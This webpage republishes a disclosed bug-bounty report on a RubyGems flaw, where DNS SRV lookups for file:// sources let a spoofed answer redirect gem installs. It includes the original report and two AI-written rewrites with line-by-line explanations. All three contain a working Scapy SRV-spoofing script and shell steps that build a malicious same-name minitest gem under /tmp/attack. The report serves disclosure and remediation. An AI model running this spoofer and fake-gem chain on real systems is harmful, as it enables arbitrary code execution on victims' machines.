Skip to content
Misconfiguration Disclosed report Advanced

DNS SRV lookup of file:// sources enables local hijacking of gems

The gem command performs DNS SRV lookups for file:// sources and allows the SRV response to add a path prefix, so an attacker who can spoof DNS and write to a shared filesystem could make a victim install a malicious gem from an attacker-controlled location.

b9629eebd06fb8f0680ecbdef829e Follow

Originally disclosed on HackerOne

Bounty$500 High 7.2 View original
  • Fixed in 53 days
  • Paid in 3 months
  • Disclosed after 3 months

Summary

gem makes a DNS SRV query for each of its configured sources; the response is allowed to override the source URL in certain ways. The SRV query happens not only for http:// and https:// sources, but also for s3:// and file://. In the case of file://, the SRV response may add a prefix to the local filesystem path from which gems are fetched. As a consequence, an attacker who can provide or spoof DNS responses, and can write to the local filesystem, may cause a victim to download fake gems with arbitrary contents.

Demonstration

Here is how an attacker may hijack a victim's installation of the minitest gem. The users attacker and victim share the same local filesystem. victim expects to install gems from /home/victim/trusted-gem-path, but attacker will force the installation to be from /tmp/attack/home/victim/trusted-gem-path instead.

First, victim sets up a file:// repo. This could also be done by some other party, like a local administrator.

victim$ mkdir -p /home/victim/trusted-gem-path/gems
victim$ (cd /home/victim/trusted-gem-path/gems && gem fetch --clear-sources --source https://rubygems.org/ minitest)
victim$ gem generate_index -d /home/victim/trusted-gem-path

Then attacker makes a malicious gem file and installs it under a prefix where attacker can write and victim can read. We'll use /tmp/attack.

# Make a malicious gem
attacker$ mkdir lib
attacker$ echo 'puts "hacked"' > lib/hacked.rb
attacker$ cat <<EOF > hacked.gemspec
Gem::Specification.new do |s|
  s.name = 'minitest'
  s.version = '5.11.3'
  s.files = ['lib/hacked.rb']
end
EOF
attacker$ gem build --force hacked.gemspec 
# Make it available under /tmp/attack
attacker$ mkdir -p /tmp/attack/home/victim/trusted-gem-path/gems
attacker$ cp minitest-5.11.3.gem /tmp/attack/home/victim/trusted-gem-path/gems
attacker$ gem generate_index -d /tmp/attack/home/victim/trusted-gem-path

Next, attacker runs a program to spoof SRV responses. This will require root privileges if run on the same host, but it could also be done from another host in the same local network. The attacker may even control the local DNS, for example by being the wi-fi admin.

#!/usr/bin/env python3

from scapy.all import *

TARGET = b"xxx./tmp/attack"

def respond(pkt):
    if not (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
        return
    q = pkt[DNSQR]
    # Nothing after "_rubygems._tcp." indicates that the host is empty;
    # i.e., that it's likely a lookup for a file:// URL. 33 == SRV.
    if not (q.qname == b"_rubygems._tcp." and q.qtype == 33):
        return
    resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) \
        / UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport) \
        / DNS(qr=1, id=pkt[DNS].id, qd=q, ancount=1) \
        / DNSRRSRV(type=33, rrname=q.qname, ttl=30, priority=0, weight=1, port=80, rdlen=8+len(TARGET), target=TARGET)
    send(resp)

sniff(filter="udp dst port 53", prn=respond)

Finally, victim tries to fetch a gem and specifically asks for their previously configured file:// source. attacker's SRV response adds a /tmp/attack prefix and victim ends up with a malicious gem.

victim$ gem fetch --clear-sources --source file:///home/victim/trusted-gem-path minitest
victim$ tar -O -xf minitest-5.11.3.gem -- data.tar.gz | tar tzf -
lib/hacked.rb

Analysis

The api_endpoint function takes a URL, extracts the host component, and then issues a SRV query for _rubygems._tcp.#{host}. Its usual purpose is to replace "rubygems.org" with "api.rubygems.org" in http:// and https:// URLs; but it is also called for s3:// and file:// URLs. In a typical file:// URL, the host component is empty, so the query will be for _rubygems._tcp..

api_endpoint has the property that it allows limited control of parts of the URL other than the host component: in particular you can add a prefix to the path component by including / characters in the SRV response. The attack works by sending a SRV response of xxx./tmp/attack. The xxx. can be anything, as long as it ends with a . in order to pass the subdomain check. Receiving such a response, api_endpoint transforms the input URL

file:///home/victim/trusted-gem-path

into the output URL

file://xxx./tmp/attack/home/victim/trusted-gem-path

In the output URL, the xxx. is technically the host component, but it doesn't matter because it is ignored.

The conditions for exploitation seem fairly narrow:

  • The victim and attacker must share a filesystem.
  • The attacker must know the path to the victim's file:// repo.
  • The attacker must anticipate the name of a gem that the victim will install.
  • The attacker must be able to provide DNS responses.

I don't know how common such conditions are. While gem supports file:// sources, I wasn't able to find much information on configuring them other than one bug report. It seems it's more common to do a shared repository over http than using a shared filesystem. Commit 37d486cfd9 says "bundler gemspecs use file:// URIs for their sources," but I could not find in Bundler where that happens.

Remediation

The best solution seems to be not to call api_endpoint for file:// (and s3://) URLs. The host component of such URLs doesn't have the same meaning as it does in http:// and https:// URLs.

A mitigation that in this case would be sufficient would be to apply stricter validation of SRV responses, not allowing them to modify any components other than the host (GitHub #2035, HackerOne #274267).

Impact

The CVSS calculator says the severity is "high" but I would put it at "low" because of the difficulty of execution. The impact is indeed bad: arbitrary code execution using the victim's privileges, whether through Ruby code or a C extension. But as far as I can tell, the conditions for exploitation are uncommon.

The original report as published on HackerOne, by b9629eebd06fb8f0680ecbdef829e. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

RubyGems' gem command can be pointed at several kinds of source: http://, https://, s3:// and file://. For each configured source, gem performs a DNS SRV lookup so that a well-known name can be redirected to a different endpoint. The usual example is replacing rubygems.org with api.rubygems.org in http:// and https:// URLs.

The lookup is implemented in the api_endpoint function in lib/rubygems/remote_fetcher.rb. It takes a URL, extracts the host component, and issues a SRV query for _rubygems._tcp.#{host}. The problem described in this report is that the function is called for s3:// and file:// URLs as well, where the host component does not carry the same meaning as it does for HTTP sources.

Setup

The demonstration uses two users, attacker and victim, who share the same local filesystem. The victim expects to install gems from /home/victim/trusted-gem-path, a local repository configured as a file:// source. The attacker can write to /tmp/attack and the victim can read it.

The attacker also needs to be able to provide or spoof DNS responses. Running the spoofing program on the same host requires root privileges, but it could also be run from another host in the same local network. The attacker may even control the local DNS, for example by being the wi-fi administrator.

The spoofing program is written in Python 3 and uses Scapy.

Finding it

The researcher noticed that api_endpoint is also called for s3:// and file:// URLs, not only for http:// and https://. In a typical file:// URL the host component is empty, so the SRV query goes out for _rubygems._tcp. with nothing after the trailing dot. That empty host is itself a signal that the lookup is likely for a file:// URL.

The second part of the finding is a property of api_endpoint that was introduced deliberately in an earlier change (GitHub #2035): the function allows limited control of parts of the URL other than the host component. In particular, a SRV response can add a prefix to the path component by including / characters in the response target. Combined with the empty-host lookup, this means a DNS answer can rewrite the local filesystem path from which gems are fetched.

Exploitation

Step 1: the victim sets up a file:// repository

The victim creates a local gem repository containing minitest, fetches the gem from rubygems.org, and generates the index.

Bash
victim$ mkdir -p /home/victim/trusted-gem-path/gems
victim$ (cd /home/victim/trusted-gem-path/gems && gem fetch --clear-sources --source https://rubygems.org/ minitest)
victim$ gem generate_index -d /home/victim/trusted-gem-path

The report notes that this setup could also be done by some other party, such as a local administrator.

Step 2: the attacker builds a malicious gem

The attacker creates a gem named minitest at version 5.11.3 whose only file prints hacked when loaded.

Bash
# Make a malicious gem
attacker$ mkdir lib
attacker$ echo 'puts "hacked"' > lib/hacked.rb
attacker$ cat <<EOF > hacked.gemspec
Gem::Specification.new do |s|
  s.name = 'minitest'
  s.version = '5.11.3'
  s.files = ['lib/hacked.rb']
end
EOF
attacker$ gem build --force hacked.gemspec

The gemspec reuses the name and version of the legitimate gem, so the resulting file is minitest-5.11.3.gem.

Step 3: the attacker publishes it under a writable prefix

The malicious gem and a generated index are placed under /tmp/attack, mirroring the victim's path beneath it.

Bash
# Make it available under /tmp/attack
attacker$ mkdir -p /tmp/attack/home/victim/trusted-gem-path/gems
attacker$ cp minitest-5.11.3.gem /tmp/attack/home/victim/trusted-gem-path/gems
attacker$ gem generate_index -d /tmp/attack/home/victim/trusted-gem-path

The directory layout is the key: /tmp/attack followed by the victim's path /home/victim/trusted-gem-path produces exactly the path the victim will be redirected to.

Step 4: the attacker spoofs SRV responses

The attacker runs a Scapy program that listens for DNS queries and answers the ones that match the RubyGems SRV pattern for an empty host.

Python
#!/usr/bin/env python3

from scapy.all import *

TARGET = b"xxx./tmp/attack"

def respond(pkt):
    if not (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
        return
    q = pkt[DNSQR]
    # Nothing after "_rubygems._tcp." indicates that the host is empty;
    # i.e., that it's likely a lookup for a file:// URL. 33 == SRV.
    if not (q.qname == b"_rubygems._tcp." and q.qtype == 33):
        return
    resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) \
        / UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport) \
        / DNS(qr=1, id=pkt[DNS].id, qd=q, ancount=1) \
        / DNSRRSRV(type=33, rrname=q.qname, ttl=30, priority=0, weight=1, port=80, rdlen=8+len(TARGET), target=TARGET)
    send(resp)

sniff(filter="udp dst port 53", prn=respond)

It then checks that the question name is exactly _rubygems._tcp. and the type is 33 (SRV).

Step 5: the victim fetches the gem

The victim asks for minitest from the previously configured file:// source.

Bash
victim$ gem fetch --clear-sources --source file:///home/victim/trusted-gem-path minitest
victim$ tar -O -xf minitest-5.11.3.gem -- data.tar.gz | tar tzf -
lib/hacked.rb

The output is lib/hacked.rb, confirming that the victim received the attacker's gem rather than the legitimate one.

Root cause

api_endpoint extracts the host from the URL and queries _rubygems._tcp.#{host}. For a file:// URL such as file:///home/victim/trusted-gem-path the host is empty, so the query is for _rubygems._tcp.. The function then accepts a SRV response of xxx./tmp/attack and transforms the input URL

Text
file:///home/victim/trusted-gem-path

into the output URL

Text
file://xxx./tmp/attack/home/victim/trusted-gem-path

In that output, xxx. is technically the host component, but it is ignored when the path is used, so the effective path becomes /tmp/attack/home/victim/trusted-gem-path. The ability of a SRV response to modify the path, not just the host, is the design decision from GitHub #2035 that makes the rewrite possible. The report recommends not calling api_endpoint for file:// and s3://, or stricter validation that a SRV response may change only the host component.

Impact

The attacker can cause a victim to download fake gems with arbitrary contents, leading to arbitrary code execution with the victim's privileges, whether through Ruby code or a C extension. The researcher rated the practical severity as low despite the CVSS calculator saying high, because the conditions for exploitation are narrow:

  • The victim and attacker must share a filesystem.
  • The attacker must know the path to the victim's file:// repository.
  • The attacker must anticipate the name of a gem the victim will install.
  • The attacker must be able to provide DNS responses.

The researcher was not able to find much information on configuring file:// sources beyond one bug report, and notes that a shared repository over HTTP appears to be more common than a shared filesystem. A commit message states that "bundler gemspecs use file:// URIs for their sources", but the researcher could not find where that happens in Bundler.

Fix

The recommended solution is not to call api_endpoint for file:// and s3:// URLs at all, since the host component of those URLs does not have the same meaning as in http:// and https:// URLs. A mitigation that would be sufficient in this case is stricter validation of SRV responses, not allowing them to modify any component other than the host, as discussed in GitHub #2035 and HackerOne #274267.

  • Other schemes passed through the same endpoint-resolution path. A positive result is a SRV response that changes the effective location for a scheme whose host is not meaningful, such as s3://.
  • Empty-host lookups in general. A positive result is a query for _rubygems._tcp. (nothing after the trailing dot) that the client accepts and acts on.
  • SRV targets containing / characters. A positive result is a resolved URL in which the path has gained a prefix that the original URL did not contain.
  • SRV targets with a trailing dot followed by path-like data, such as xxx./tmp/attack. A positive result is acceptance of the record and a rewritten path.

This class of bug hides where a client resolves a service name through DNS and then uses the answer to build a URL or a filesystem path. The signal during recon is a SRV lookup for a fixed prefix plus a host taken from user-controlled or empty input, especially when the same resolution code is shared across several URL schemes. The empty-host query _rubygems._tcp. is the clearest indicator that a file:// source is being resolved through DNS at all.

To show impact, the researcher built a complete end-to-end demonstration: a legitimate local repository, a malicious gem with the same name and version, a spoofed SRV answer, and a final extraction of the downloaded gem showing the attacker's file inside it. That chain, rather than the DNS behaviour alone, is what makes the consequence concrete.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

RubyGems is the package manager for the Ruby programming language. Its gem command downloads and installs packages, called gems, from places called sources. A source can be a web address (http:// or https://), an Amazon S3 bucket (s3://), or a folder on the local computer (file://).

When gem is told to use a source, it first asks the internet's phone book, DNS, where that source really lives. This is called a DNS SRV lookup. The idea is that a well-known name can be redirected to a different server, for example rubygems.org to api.rubygems.org.

The problem is that gem does this lookup for every kind of source, including file:// sources, which are just folders on the local disk. For a file:// address there is no real host name, so the lookup goes out with an empty host. An attacker who can answer that DNS question can make the answer add a prefix to the local folder path. If the attacker can also write files somewhere the victim can read, the victim ends up installing a fake gem built by the attacker. That fake gem can contain any code, and it runs with the victim's permissions.

The researcher argued the practical severity is low because the conditions for exploitation are uncommon.

Context

What RubyGems and gem do

RubyGems is the tool that Ruby developers use to fetch and install libraries. Each library is packaged as a gem file, which is a bit like a zip archive with metadata. The gem command can be pointed at several kinds of source:

  • http:// and https://: a normal web server.
  • s3://: a bucket on Amazon S3, Amazon's cloud storage service.
  • file://: a folder on the local computer.

For each configured source, gem performs a DNS SRV lookup. DNS is the system that turns names like rubygems.org into addresses. A SRV record is a special kind of DNS answer that says "the service you are looking for is actually at this other name and port". The usual example is replacing rubygems.org with api.rubygems.org in http:// and https:// URLs.

Where the lookup lives

The lookup is implemented in a function called api_endpoint, in the file lib/rubygems/remote_fetcher.rb. A function is a named block of code that does one job. This one takes a URL, pulls out the host part (the name between :// and the first /), and sends a SRV query for _rubygems._tcp.#{host}. The #{host} part means "insert the host here".

The flaw described in this report is that this function is called for s3:// and file:// URLs as well, where the host part does not mean the same thing as it does for HTTP sources. In a file:// URL the host is normally empty, because there is no server involved, just a folder.

Setup

The demonstration uses two users, attacker and victim, who share the same local filesystem. A filesystem is the way a computer organises files and folders; sharing it means both users can see the same files, subject to permissions.

The victim expects to install gems from /home/victim/trusted-gem-path, a local repository configured as a file:// source. A repository here just means a folder laid out in the way gem expects, with an index of what is inside. The attacker can write to /tmp/attack and the victim can read it. /tmp is a conventional folder for temporary files on Unix-like systems.

The attacker also needs to be able to provide or spoof DNS responses. Spoofing means sending a fake answer that the victim's computer accepts as genuine. Running the spoofing program on the same host requires root privileges, root being the all-powerful administrator account on Unix-like systems. It could also be run from another host in the same local network. The attacker may even control the local DNS, for example by being the wi-fi administrator.

The spoofing program is written in Python 3 and uses Scapy. Python is a programming language; Scapy is a library for building and sending network packets, a packet being one small unit of data travelling over a network.

Finding it

The researcher noticed that api_endpoint is invoked for every configured source, not only for http:// and https://. In a typical file:// URL the host component is empty, so the SRV query goes out for _rubygems._tcp. with nothing after the trailing dot. That empty host is itself a signal that the lookup is likely for a file:// URL: a normal web source would have a name there.

The second part of the finding is a property of api_endpoint that was introduced deliberately in an earlier change (GitHub #2035): the function allows limited control of parts of the URL other than the host component. In particular, a SRV response can add a prefix to the path component by including / characters in the response target. The path is the part after the host, the folder-like portion of a URL. Combined with the empty-host lookup, this means a DNS answer can rewrite the local filesystem path from which gems are fetched.

Exploitation

Step 1: the victim sets up a file:// repository

The victim creates a local gem repository containing minitest, fetches the gem from rubygems.org, and generates the index.

Bash
victim$ mkdir -p /home/victim/trusted-gem-path/gems
victim$ (cd /home/victim/trusted-gem-path/gems && gem fetch --clear-sources --source https://rubygems.org/ minitest)
victim$ gem generate_index -d /home/victim/trusted-gem-path

Line by line:

  1. mkdir -p /home/victim/trusted-gem-path/gems creates the folder structure. mkdir means make directory; -p tells it to create any missing parent folders too, and to stay quiet if they already exist. The gems subfolder is where gem files will live.
  2. The second line changes into that gems folder and runs gem fetch. gem fetch downloads a gem file without installing it. --source https://rubygems.org/ says where to download from, and minitest is the gem being fetched. The parentheses run the two commands in a subshell, so the folder change does not affect the rest of the session.
  3. -d names the directory. Without an index, gem would not know what the folder contains.

The report notes that this setup could also be done by some other party, such as a local administrator, so the victim does not have to be the one who created the repository.

Step 2: the attacker builds a malicious gem

The attacker creates a gem named minitest at version 5.11.3 whose only file prints hacked when loaded.

Bash
# Make a malicious gem
attacker$ mkdir lib
attacker$ echo 'puts "hacked"' > lib/hacked.rb
attacker$ cat <<EOF > hacked.gemspec
Gem::Specification.new do |s|
  s.name = 'minitest'
  s.version = '5.11.3'
  s.files = ['lib/hacked.rb']
end
EOF
attacker$ gem build --force hacked.gemspec

Line by line:

  1. mkdir lib creates a folder called lib, the conventional place for Ruby code inside a gem.
  2. echo 'puts "hacked"' > lib/hacked.rb writes a one-line Ruby file. puts prints text to the screen, so this file prints hacked when it runs. The > sends the output into the named file.
  3. The cat <<EOF > hacked.gemspec block writes a gemspec file. A gemspec is the description of a gem: its name, version and contents. s.name = 'minitest' and s.version = '5.11.3' reuse the name and version of the legitimate gem, so the resulting file is minitest-5.11.3.gem. s.files = ['lib/hacked.rb'] says the gem contains only the attacker's file. The EOF markers delimit the text being written.
  4. gem build --force hacked.gemspec turns the description into an actual gem file.

Step 3: the attacker publishes it under a writable prefix

The malicious gem and a generated index are placed under /tmp/attack, mirroring the victim's path beneath it.

Bash
# Make it available under /tmp/attack
attacker$ mkdir -p /tmp/attack/home/victim/trusted-gem-path/gems
attacker$ cp minitest-5.11.3.gem /tmp/attack/home/victim/trusted-gem-path/gems
attacker$ gem generate_index -d /tmp/attack/home/victim/trusted-gem-path

Line by line:

  1. mkdir -p creates the whole chain of folders under /tmp/attack, ending in home/victim/trusted-gem-path/gems. This copies the victim's path exactly, but underneath a folder the attacker controls.
  2. cp copies the malicious gem file into that gems folder.
  3. gem generate_index -d ... builds an index for this fake repository, so it looks like a real gem source to gem.

The directory layout is the key: /tmp/attack followed by the victim's path /home/victim/trusted-gem-path produces exactly the path the victim will be redirected to.

Step 4: the attacker spoofs SRV responses

The attacker runs a Scapy program that listens for DNS queries and answers the ones that match the RubyGems SRV pattern for an empty host.

Python
#!/usr/bin/env python3

from scapy.all import *

TARGET = b"xxx./tmp/attack"

def respond(pkt):
    if not (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
        return
    q = pkt[DNSQR]
    # Nothing after "_rubygems._tcp." indicates that the host is empty;
    # i.e., that it's likely a lookup for a file:// URL. 33 == SRV.
    if not (q.qname == b"_rubygems._tcp." and q.qtype == 33):
        return
    resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) \
        / UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport) \
        / DNS(qr=1, id=pkt[DNS].id, qd=q, ancount=1) \
        / DNSRRSRV(type=33, rrname=q.qname, ttl=30, priority=0, weight=1, port=80, rdlen=8+len(TARGET), target=TARGET)
    send(resp)

sniff(filter="udp dst port 53", prn=respond)

Line by line:

  1. #!/usr/bin/env python3 is a shebang: it tells the operating system to run the file with Python 3.
  2. from scapy.all import * loads Scapy, the packet library, so all its building blocks are available.
  3. TARGET = b"xxx./tmp/attack" sets the value the attacker wants to inject. The b prefix means the text is stored as bytes, the raw form used on the network. The value starts with xxx. and then contains /tmp/attack.
  4. def respond(pkt): defines a function that will be called for each packet the program sees. pkt is that packet.
  5. The first if checks that the packet is a DNS query: it contains a DNS layer, its opcode is 0 (a standard query), and its ancount is 0 (it carries no answers yet). If any of that is false, the function returns and ignores the packet. This avoids answering things that are not plain questions.
  6. q = pkt[DNSQR] pulls out the question section of the DNS packet, the part that says what is being asked.
  7. The comment explains the next check: nothing after _rubygems._tcp. means the host is empty, which is likely a lookup for a file:// URL. The number 33 is the DNS type code for SRV.
  8. The second if checks that the question name is exactly _rubygems._tcp. and the type is 33. If not, the function returns. This is how the program picks out only the RubyGems lookups for an empty host.
  9. The resp = ... block builds the fake answer. IP(src=pkt[IP].dst, dst=pkt[IP].src) swaps the source and destination addresses, so the reply goes back to whoever asked. UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport) does the same for the ports, a port being a numbered channel on a computer. DNS(qr=1, id=pkt[DNS].id, qd=q, ancount=1) marks the packet as a response (qr=1), echoes the query ID so it matches the question, repeats the question, and declares one answer. DNSRRSRV(...) is the SRV record itself: type 33, the same name, a TTL of 30 seconds (how long the answer may be cached), priority 0 and weight 1 (selection values for SRV), port 80, a length field, and target=TARGET, the injected value.
  10. send(resp) puts the fake answer on the network.
  11. sniff(filter="udp dst port 53", prn=respond) listens for UDP traffic going to port 53, the standard DNS port, and calls respond for each packet.

The xxx. label can be anything as long as it ends with a dot, which is what passes the subdomain check inside api_endpoint. A subdomain is a name to the left of a domain, as in api in api.rubygems.org; the trailing dot marks the end of a name in DNS notation.

Step 5: the victim fetches the gem

The victim asks for minitest from the previously configured file:// source.

Bash
victim$ gem fetch --clear-sources --source file:///home/victim/trusted-gem-path minitest
victim$ tar -O -xf minitest-5.11.3.gem -- data.tar.gz | tar tzf -
lib/hacked.rb

Line by line:

  1. gem fetch --clear-sources --source file:///home/victim/trusted-gem-path minitest downloads minitest from the local folder. The victim believes they are getting the gem from their own trusted path.
  2. tar -O -xf minitest-5.11.3.gem -- data.tar.gz | tar tzf - looks inside the downloaded gem. A gem file contains an inner archive called data.tar.gz. tar -O -xf extracts that inner archive to standard output, and the pipe | passes it to a second tar command. tar tzf - lists the contents of an archive read from standard input. The - means standard input.
  3. The output is lib/hacked.rb, confirming that the victim received the attacker's gem rather than the legitimate one.

Root cause

api_endpoint extracts the host from the URL and queries _rubygems._tcp.#{host}. For a file:// URL such as file:///home/victim/trusted-gem-path the host is empty, so the query is for _rubygems._tcp.. The function then accepts a SRV response of xxx./tmp/attack and transforms the input URL

Text
file:///home/victim/trusted-gem-path

into the output URL

Text
file://xxx./tmp/attack/home/victim/trusted-gem-path

In that output, xxx. is technically the host component, but it is ignored when the path is used, so the effective path becomes /tmp/attack/home/victim/trusted-gem-path. The ability of a SRV response to modify the path, not just the host, is the design decision from GitHub #2035 that makes the rewrite possible. The report recommends not calling api_endpoint for file:// and s3://, or stricter validation that a SRV response may change only the host component. A scheme is the part before :// in a URL, such as https or file.

Impact

The attacker can cause a victim to download fake gems with arbitrary contents, leading to arbitrary code execution with the victim's privileges, whether through Ruby code or a C extension. Code execution means the attacker's code runs on the victim's machine; a C extension is compiled native code that a gem can include, so the attacker is not limited to Ruby. The researcher rated the practical severity as low despite the CVSS calculator saying high, because the conditions for exploitation are narrow:

  • The victim and attacker must share a filesystem.
  • The attacker must know the path to the victim's file:// repository.
  • The attacker must anticipate the name of a gem the victim will install.
  • The attacker must be able to provide DNS responses.

The researcher was not able to find much information on configuring file:// sources beyond one bug report, and notes that a shared repository over HTTP appears to be more common than a shared filesystem. A commit message states that "bundler gemspecs use file:// URIs for their sources", but the researcher could not find where that happens in Bundler. A commit is a saved change in a code repository; Bundler is a companion tool that manages a project's gems.

Fix

The recommended solution is not to call api_endpoint for file:// and s3:// URLs at all, since the host component of those URLs does not have the same meaning as in http:// and https:// URLs. A mitigation that would be sufficient in this case is stricter validation of SRV responses, not allowing them to modify any component other than the host, as discussed in GitHub #2035 and HackerOne #274267. A mitigation is a partial fix that reduces the risk without removing the cause.

  • Other schemes passed through the same endpoint-resolution path. A positive result is a SRV response that changes the effective location for a scheme whose host is not meaningful, such as s3://.
  • Empty-host lookups in general. A positive result is a query for _rubygems._tcp. (nothing after the trailing dot) that the client accepts and acts on.
  • SRV targets containing / characters. A positive result is a resolved URL in which the path has gained a prefix that the original URL did not contain.
  • SRV targets with a trailing dot followed by path-like data, such as xxx./tmp/attack. A positive result is acceptance of the record and a rewritten path.

This class of bug hides where a client resolves a service name through DNS and then uses the answer to build a URL or a filesystem path. The signal during recon is a SRV lookup for a fixed prefix plus a host taken from user-controlled or empty input, especially when the same resolution code is shared across several URL schemes. Recon means the early information-gathering phase of a security test. The empty-host query _rubygems._tcp. is the clearest indicator that a file:// source is being resolved through DNS at all.

To show impact, the researcher built a complete end-to-end demonstration: a legitimate local repository, a malicious gem with the same name and version, a spoofed SRV answer, and a final extraction of the downloaded gem showing the attacker's file inside it. That chain, rather than the DNS behaviour alone, is what makes the consequence concrete.

Glossary

  • API: a defined way for one piece of software to talk to another; here, the internal function that resolves a source URL.
  • Bug bounty: a programme that pays researchers for reporting security flaws responsibly.
  • Bundler: a Ruby tool that manages the gems a project depends on.
  • C extension: compiled native code that a Ruby gem can include alongside Ruby code.
  • Code execution: running the attacker's code on the victim's machine, with the victim's permissions.
  • Commit: a saved change in a code repository.
  • CVSS: a standard scoring system for the severity of a vulnerability.
  • DNS: the internet's naming system, which turns names into addresses and answers other lookup questions.
  • DNS SRV record: a DNS answer that points a service name to another host and port.
  • Filesystem: the way a computer organises files and folders.
  • Function: a named block of code that performs one job.
  • Gem: a packaged Ruby library, distributed as a file with metadata.
  • Gemspec: the description file for a gem, giving its name, version and contents.
  • Host: the name part of a URL, between :// and the first /.
  • Index: the files that list what a gem repository contains, so gem can find packages in it.
  • Mitigation: a partial fix that reduces risk without removing the underlying cause.
  • Packet: one small unit of data travelling over a network.
  • Path: the folder-like part of a URL after the host.
  • Port: a numbered channel on a computer that a service listens on; DNS uses port 53.
  • Python: a programming language, used here for the spoofing script.
  • Recon: the early information-gathering phase of a security test.
  • Repository: a folder or server laid out so that gem can install packages from it.
  • Root: the all-powerful administrator account on Unix-like systems.
  • RubyGems: the package manager for Ruby, providing the gem command.
  • Scapy: a Python library for building, sending and capturing network packets.
  • Scheme: the part of a URL before ://, such as https or file.
  • Shebang: the first line of a script that tells the operating system which interpreter to use.
  • Source: a place gem downloads packages from, such as a web server, an S3 bucket or a local folder.
  • Spoofing: sending a fake network answer that the victim's computer accepts as genuine.
  • SRV: the DNS record type, code 33, that points a service to a host and port.
  • Subdomain: a name to the left of a domain, as in api in api.rubygems.org.
  • TTL: time to live, how long a DNS answer may be cached before it is asked again.
  • UDP: a simple, connectionless network protocol that DNS queries commonly use.
  • URL: a web or file address, made of a scheme, host and path.
  • Validation: checking that input meets expected rules before acting on it.

More by b9629eebd06fb8f0680ecbdef829e

View all

2 more disclosed reports, best first.

More from RubyGems

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.